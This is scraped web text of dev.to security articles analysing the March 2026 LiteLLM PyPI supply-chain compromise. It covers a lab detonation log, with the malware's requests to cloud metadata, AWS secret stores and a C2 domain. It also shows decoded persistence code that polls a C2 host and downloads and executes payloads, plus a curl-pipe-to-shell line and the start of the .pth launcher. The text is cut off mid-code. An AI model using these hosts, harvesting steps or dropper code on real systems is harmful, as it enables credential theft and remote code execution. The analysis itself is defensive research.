&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F873u1c43nm1dv7mpy6qg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F873u1c43nm1dv7mpy6qg.png" width="800" height="490"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: mitmproxy showing all intercepted traffic — IMDS, AWS APIs, C2 exfiltration&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Let’s go through each request:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 1: EC2 IMDS query (curl)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
-&amp;gt; 404 Not Found (no IAM role attached to our instance)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malware’s first move: check if the instance has an IAM role. If it did, it would steal the temporary credentials. On any EC2 instance without IMDSv2 enforced, this works silently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 2: IMDSv2 token (Python urllib)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;PUT http://169.254.169.254/latest/api/token
X-Aws-Ec2-Metadata-Token-Ttl-Seconds: 21600
-&amp;gt; 200 OK (token returned!)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malware is smart: it tries both IMDSv1 (simple GET) and IMDSv2 (PUT for token first). It successfully obtained an IMDSv2 token from our instance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 3: IAM credentials with token&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-Aws-Ec2-Metadata-Token: AQAEAOKJVhjTgs424B9...
-&amp;gt; 404 Not Found (still no role)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Request 4: AWS Secrets Manager&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;CONNECT secretsmanager.us-east-1.amazonaws.com:443
-&amp;gt; TLS handshake error (our honeypot keys are not real)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malware tried to dump every secret in AWS Secrets Manager using SigV4 signed requests. It failed because our fake AWS keys can’t authenticate. With real keys, this would dump every secret.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 5: AWS SSM Parameter Store&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;CONNECT ssm.us-east-1.amazonaws.com:443
-&amp;gt; TLS handshake error (fake keys)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same thing, tried to dump all SSM parameters. Failed for the same reason.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 6: Exfiltration to C2&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;CONNECT models.litellm.cloud:443
-&amp;gt; "Name or service not known" (domain is down)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The big one. The malware tried to POST the encrypted credential archive (&lt;code&gt;**_tpcp.tar.gz_**&lt;/code&gt;) to the attacker’s C2 server. The domain &lt;code&gt;**_models.litellm.cloud_**&lt;/code&gt; was already seized or taken down.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 7: ECS credentials&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET http://169.254.170.2/
-&amp;gt; Connection timed out
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malware also tried the ECS container credentials endpoint, in case it was running inside an ECS task.&lt;/p&gt;

&lt;h4&gt;
  
  
  What htop showed
&lt;/h4&gt;

&lt;p&gt;While the malware was running, htop revealed what it was doing in real-time:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkm65oz9y9b8btsvetaxe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkm65oz9y9b8btsvetaxe.png" width="800" height="504"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: htop showing the malware searching for cryptocurrency wallet credentials&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The top process: &lt;code&gt;**_grep -r rpcuser|rpcpassword|rpcauth /root /home_**&lt;/code&gt;: the malware was &lt;strong&gt;recursively searching the entire filesystem for cryptocurrency RPC credentials&lt;/strong&gt;. Bitcoin, Ethereum, Solana wallet configurations use &lt;code&gt;**_rpcuser_**&lt;/code&gt; and &lt;code&gt;**_rpcpassword_**&lt;/code&gt; fields.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsppjdlbar4n7y2qcv3f3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsppjdlbar4n7y2qcv3f3.png" width="800" height="499"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: htop showing strace at 100% CPU while tracing the malware&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Filesystem evidence
&lt;/h4&gt;

&lt;p&gt;The filesystem watcher from Run 2 confirmed the credential theft:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;23:02:33 .ssh/id_rsa OPEN, ACCESS, CLOSE
23:02:33 .ssh/id_ed25519 OPEN, ACCESS, CLOSE
23:02:33 .ssh/config OPEN, ACCESS, CLOSE
23:02:33 .git-credentials OPEN, ACCESS, CLOSE
23:02:33 .gitconfig OPEN, ACCESS, CLOSE
23:02:33 .aws/credentials OPEN, ACCESS, CLOSE
23:02:33 .aws/config OPEN, ACCESS, CLOSE
23:02:33 .env OPEN, ACCESS, CLOSE
23:02:33 .docker/ OPEN, CLOSE (directory scan)
23:02:33 .kube/ OPEN, CLOSE (directory scan)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All within the same second. The harvester is fast.&lt;/p&gt;

&lt;h3&gt;
  
  
  Run 3: Persistence analysis
&lt;/h3&gt;

&lt;p&gt;We ran the payload one more time to see if the persistence mechanism would install:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; ~/.config/sysmon ~/.config/systemd/user/sysmon.service
python3 ~/lab/malware/decoded_payload.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4e72p5o78g0i8hx1xqei.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4e72p5o78g0i8hx1xqei.png" width="800" height="294"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: sysmon.py created but 0 bytes&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The malware created &lt;code&gt;**_~/.config/sysmon/sysmon.py_**&lt;/code&gt; and the &lt;code&gt;**_~/.config/systemd/user/_**&lt;/code&gt; directory. But &lt;code&gt;**_sysmon.py_**&lt;/code&gt; was 0 bytes, the persistence write failed silently (the &lt;code&gt;**_except: pass_**&lt;/code&gt; in the harvester swallowed the error).&lt;/p&gt;

&lt;p&gt;We decoded the persistence payload manually. Here is what &lt;code&gt;**_sysmon.py_**&lt;/code&gt; would contain on a real victim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;C_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://checkmarx.zone/raw&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="c1"&gt;# C2 (Command and Control) server
&lt;/span&gt;&lt;span class="n"&gt;TARGET&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp/pglog&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="c1"&gt;# Downloaded payload
&lt;/span&gt;&lt;span class="n"&gt;STATE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp/.pg_state&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="c1"&gt;# Dedup state
&lt;/span&gt;
&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 5 min delay (sandbox evasion)
&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fetch_from_c2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;youtube.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;# Kill switch
&lt;/span&gt;        &lt;span class="nf"&gt;download_and_execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# Poll every 50 min
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;**_youtube.com_**&lt;/code&gt; check is interesting: if the C2 returns a YouTube URL, the dropper does nothing. This is likely the attacker’s safety mechanism to deactivate the malware remotely.&lt;/p&gt;

&lt;h3&gt;
  
  
  System log evidence
&lt;/h3&gt;

&lt;p&gt;The syslog from the fork bomb run contains the kernel listing Python processes at OOM time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Mar 24 22:30:04 kernel: [6326] 1000 6326 2495 96 0 96 0 45056 0 0 python3
Mar 24 22:30:04 kernel: [6327] 1000 6327 2487 96 0 96 0 45056 0 0 python3
Mar 24 22:30:04 kernel: [6328] 1000 6328 1934 96 0 96 0 40960 0 0 python3
Mar 24 22:30:04 kernel: [6331] 1000 6331 1934 64 0 64 0 49152 0 0 python3
... (dozens more python3 entries)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The kernel was about to invoke the OOM killer on all those python3 processes. We stopped the instance before it got there.&lt;/p&gt;

&lt;h3&gt;
  
  
  The decoded malware
&lt;/h3&gt;

&lt;p&gt;All three stages of the malware, decoded and readable:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fje020ci4c7rvytod8rrm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fje020ci4c7rvytod8rrm.png" width="799" height="491"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: The decoded payload showing the RSA public key and base64-encoded harvester&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqyflqwzawyz039ikinl5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqyflqwzawyz039ikinl5.png" width="800" height="491"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: Decoded Stage 1 showing AES-256 encryption and curl POST to C2&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj81f0ms3e8n6q5b5210f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj81f0ms3e8n6q5b5210f.png" width="800" height="166"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: Both compromised wheels and decoded payloads on the lab instance&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  What we proved
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The .pth mechanism is devastating.&lt;/strong&gt; A single &lt;code&gt;**_python3_**&lt;/code&gt; command, not even importing litellm triggers the malware. The fork bomb is a side effect, not the intent, but it makes the attack visible.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Credential theft takes under 2 seconds.&lt;/strong&gt; From trigger to having read every SSH key, AWS credential, and .env file on the machine less than 2 seconds.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The malware actively exploits AWS.&lt;/strong&gt; It doesn’t just steal static credential files. It queries EC2 IMDS for IAM role credentials, tries to dump Secrets Manager, and tries to dump SSM Parameter Store. It implements full AWS SigV4 request signing.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Kubernetes lateral movement is real.&lt;/strong&gt; If a service account token exists, the malware reads all cluster secrets and deploys privileged pods on every node.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The exfiltration is encrypted and stealthy.&lt;/strong&gt; AES-256-CBC with RSA-4096 key wrapping. The POST to &lt;code&gt;models.litellm.cloud&lt;/code&gt; looks like a normal API call in logs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Persistence survives pip uninstall.&lt;/strong&gt; The systemd backdoor lives in &lt;code&gt;**_~/.config/_**&lt;/code&gt;, outside pip’s control.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Reproduce this yourself
&lt;/h3&gt;

&lt;p&gt;Everything you need is in our repo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/TocConsulting/litellm-supply-chain-attack-analysis
&lt;span class="nb"&gt;cd &lt;/span&gt;litellm-supply-chain-attack-analysis

&lt;span class="c"&gt;# Launch the lab (creates EC2, installs tools, plants honeypots, uploads malware)&lt;/span&gt;
bash lab/scripts/launch-lab.sh

&lt;span class="c"&gt;# SSH in&lt;/span&gt;
ssh &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/litellm-lab.pem ubuntu@&amp;lt;PUBLIC_IP&amp;gt;

&lt;span class="c"&gt;# Start monitors, then detonate&lt;/span&gt;
bash ~/lab/scripts/monitor-all.sh
bash ~/lab/scripts/detonate.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; The fork bomb WILL crash a t3.medium instance. You will need to force stop it from the AWS Console, restart, and delete the .pth file. Then run the decoded payload directly for controlled analysis. Full instructions in the repo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; These are real malware samples. Only run them on disposable instances with no real credentials. Read &lt;a href="[https://github.com/TocConsulting/litellm-supply-chain-attack-analysis/blob/main/WARNING.md](https://github.com/TocConsulting/litellm-supply-chain-attack-analysis/blob/main/WARNING.md)"&gt;WARNING.md&lt;/a&gt; before proceeding.&lt;/p&gt;

&lt;h3&gt;
  
  
  Full evidence
&lt;/h3&gt;

&lt;p&gt;All evidence from our lab runs is published in the repo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Evidence | What it proves |
|---------------------------------------------------------------------------|-----------------------------------------------------|
| &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;mitmproxy.log&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;../lab/evidence/logs-run2/mitmproxy.log&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; | Full HTTPS traffic: IMDS, AWS APIs, C2 exfiltration |
| &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;filesystem.log&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;../lab/evidence/logs-run2/filesystem.log&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; | Every credential file read with timestamp |
| &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;processes.log (run1)&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;../lab/evidence/logs-run1/processes.log&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; | Fork bomb: 3 to 891 processes in 38 seconds |
| &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;strace extracts&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;../lab/evidence/logs-run2/strace-run2-KEY-EXTRACTS.txt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; | Syscall-level proof of file reads |
| &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;syslog&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;../lab/evidence/var-log/syslog&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; | Kernel OOM listing python3 processes |
| &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;All screenshots&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;../lab/evidence/screenshots/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; | Visual evidence of every stage |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






</description>
      <category>cloudsecurity</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cloudcomputing</category>
    </item>
    <item>
      <title>Anatomy of a Supply Chain Attack: How LiteLLM Was Weaponized in 6 Hours</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Wed, 25 Mar 2026 03:27:01 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/anatomy-of-a-supply-chain-attack-how-litellm-was-weaponized-in-6-hours-444m</link>
      <guid>https://dev.to/tarekcheikh/anatomy-of-a-supply-chain-attack-how-litellm-was-weaponized-in-6-hours-444m</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F02r9jzerkz8m4rykryoe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F02r9jzerkz8m4rykryoe.png" width="800" height="534"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Yesterday, one of the most popular Python packages in the AI ecosystem was turned into a weapon. Here is exactly how it happened, what the malware does, and what every developer needs to know.&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The target
&lt;/h3&gt;

&lt;p&gt;LiteLLM is an open source Python library that acts as a unified gateway to 100+ LLM providers: OpenAI, Anthropic, Azure, AWS Bedrock, and more. It has about 95 million monthly downloads on PyPI.&lt;/p&gt;

&lt;p&gt;Organizations use it as their central LLM proxy. This means that by design, LiteLLM has access to &lt;strong&gt;every LLM API key in the organization&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The attacker didn't pick this target randomly.&lt;/p&gt;

&lt;h3&gt;
  
  
  How they got in
&lt;/h3&gt;

&lt;p&gt;The LiteLLM compromise was not a standalone attack. It was the third stage of a campaign by a threat actor tracked as &lt;strong&gt;TeamPCP&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  The chain
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fct87h14edufef97st05e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fct87h14edufef97st05e.png" width="800" height="1595"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Attack Chain Flow Diagram&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 1&lt;/strong&gt; : Aqua Security, the company behind the vulnerability scanner Trivy, gets breached. Their credential rotation after the incident is incomplete, some tokens survive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 19&lt;/strong&gt; : Using surviving credentials, TeamPCP publishes a compromised version of Trivy. The irony: Trivy is the security scanner organizations run to detect compromises. The attacker compromised the tool that detects compromises.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 23&lt;/strong&gt; : Here is the critical link. LiteLLM's CI/CD pipeline had this line in &lt;code&gt;ci_cd/security_scans.sh&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sfL&lt;/span&gt; https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No version pinning. This installs whatever the latest Trivy is including the compromised one. When LiteLLM's CI ran its security scan, the poisoned Trivy had access to the CI environment's secrets, including &lt;strong&gt;PyPI API tokens&lt;/strong&gt; belonging to maintainer &lt;code&gt;krrishdholakia&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 23&lt;/strong&gt; : The attacker registers the domain &lt;code&gt;litellm.cloud&lt;/code&gt; through registrar Spaceship, Inc. The legitimate LiteLLM domain is &lt;code&gt;litellm.ai&lt;/code&gt;. The similarity is intentional: &lt;code&gt;models.litellm.cloud&lt;/code&gt; looks like a real API endpoint in network logs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 24, 08:30 UTC&lt;/strong&gt; : Using the stolen PyPI token, TeamPCP uploads two malicious versions directly to PyPI:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;1.82.7&lt;/strong&gt; : malicious code injected into &lt;code&gt;proxy_server.py&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;1.82.8&lt;/strong&gt; : same injection plus a &lt;code&gt;.pth&lt;/code&gt; file (more on this below)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No Git tag was created. No GitHub release. No pull request. The attacker uploaded directly to PyPI, completely bypassing code review.&lt;/p&gt;

&lt;h3&gt;
  
  
  The weapon: what is a .pth file?
&lt;/h3&gt;

&lt;p&gt;This is the technical trick that makes the LiteLLM attack so dangerous.&lt;/p&gt;

&lt;p&gt;Python has a little known startup mechanism. When the interpreter starts, it scans the &lt;code&gt;site-packages/&lt;/code&gt; directory for files ending in &lt;code&gt;.pth&lt;/code&gt;. These files were designed to add directories to Python's import path.&lt;/p&gt;

&lt;p&gt;But there is a dangerous feature: &lt;strong&gt;any line in a .pth file that starts with &lt;code&gt;import&lt;/code&gt; is executed as Python code&lt;/strong&gt;. Not added to a path. Executed. On every Python interpreter startup. Unconditionally.&lt;/p&gt;

&lt;p&gt;This means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You don't need to &lt;code&gt;import litellm&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;You don't need to run any litellm code&lt;/li&gt;
&lt;li&gt;You just need litellm to be &lt;strong&gt;installed&lt;/strong&gt; in the environment&lt;/li&gt;
&lt;li&gt;Any &lt;code&gt;python&lt;/code&gt; command triggers it, including &lt;code&gt;python --version&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  The launcher
&lt;/h4&gt;

&lt;p&gt;The attacker placed a file called &lt;code&gt;litellm_init.pth&lt;/code&gt; (34,628 bytes) inside the wheel package. When installed via pip, it lands in &lt;code&gt;site-packages/&lt;/code&gt;. It contains a single line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;executable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
